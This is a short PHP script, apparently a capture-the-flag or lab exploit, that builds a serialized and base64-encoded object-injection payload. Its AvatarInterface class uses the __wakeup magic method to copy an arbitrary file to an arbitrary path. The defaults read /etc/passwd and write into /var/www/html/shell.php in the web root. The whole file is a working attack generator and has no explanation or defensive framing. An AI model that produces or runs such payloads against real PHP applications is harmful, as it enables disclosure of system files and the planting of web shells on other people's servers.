<?php

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp = "/etc/passwd";
    public $imgPath = "/var/www/html/shell.php"; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$a = new AvatarInterface();
echo base64_encode(serialize($a));

?>